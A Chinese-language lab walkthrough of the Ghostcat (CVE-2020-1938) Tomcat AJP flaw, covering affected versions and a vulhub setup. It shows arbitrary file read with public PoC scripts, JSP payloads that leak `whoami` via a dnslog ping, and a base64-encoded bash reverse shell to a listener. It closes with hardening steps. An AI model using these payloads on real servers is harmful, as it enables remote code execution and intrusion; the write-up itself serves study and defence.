漏洞描述
该漏洞使攻击者可以读取任何webapps文件(例如webapp配置文件,源代码等)或包括一个文件来远程执行代码。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
影响版本
- Apache Tomcat 6
- Apache Tomcat 7 < 7.0.100
- Apache Tomcat 8 < 8.5.51
- Apache Tomcat 9 < 9.0.31
漏洞环境搭建
使用vulhub直接docker一键启动环境CVE-2020-1938环境
下载安装好vulhub后进入/tomcat/CVE-2020-1938
目录,执行以下命令
sudo docker-compose up -d
查看当前虚拟机ip,并访问8080端口,即可出现tomcat页面
漏洞利用
使用nmap命令,查看目标是否开启8009端口
nmap -p 8009,8080 192.168.234.138
任意文件读取
下载工具:
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
使用方法:
#python CNVD-2020-10487-Tomcat-Ajp-lfi.py <目标ip> -p <ajp端口> -f <读取文件>
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.234.138 -p 8009 -f WEB-INF/web.xml
文件包含
本地包含的条件是需要目标web应用上有一个上传点,能上传txt或jpg等文件,才能进行文件包含的利用。在这我是直接用vulhub进行搭建的,所以我直接进入docker容器创建txt文件进行文件包含的利用。
利用工具:
https://github.com/00theway/Ghostcat-CNVD-2020-10487
命令执行,测试ping dnslog
dnslog:http://www.dnslog.cn/
进入docker容器,在/webapps/ROOT/目录下添加ping.txt文件,内容为:
#ping.txt
<%Runtime.getRuntime().exec("ping -c 4 `whoami`.ea4chi.dnslog.cn");%>
我们在利用poc进行文件包含执行漏洞:
python3 ajpShooter.py http://192.168.234.138 8009 /ping.txt eval
反弹shell
反弹shell base64加密:
http://www.jackson-t.ca/runtime-exec-payloads.html
将文件命名问cmd.txt上传服务器:
<%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>
开启端口监听:
nc -lvvp 4444
利用ajpShooter.py脚本执行文件包含漏洞
python3 ajpShooter.py http://192.168.234.138 8009 /cmd.txt eval
返回kali用nc监听的端口,发现有主机上线
漏洞加固
1、升级tomcat到最新版本。
2、若不需要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost。
具体操作:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(也可删掉该行):
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存后需重新启动Tomcat,规则方可生效。
3、若需使用Tomcat AJP协议,可根据使用版本配置协议属性设置认证凭证。
使用Tomcat 7和Tomcat 9的用户可为AJP Connector配置secret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
使用Tomcat 8的用户可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS"requiredSecret="YOUR_TOMCAT_AJP_SECRET" />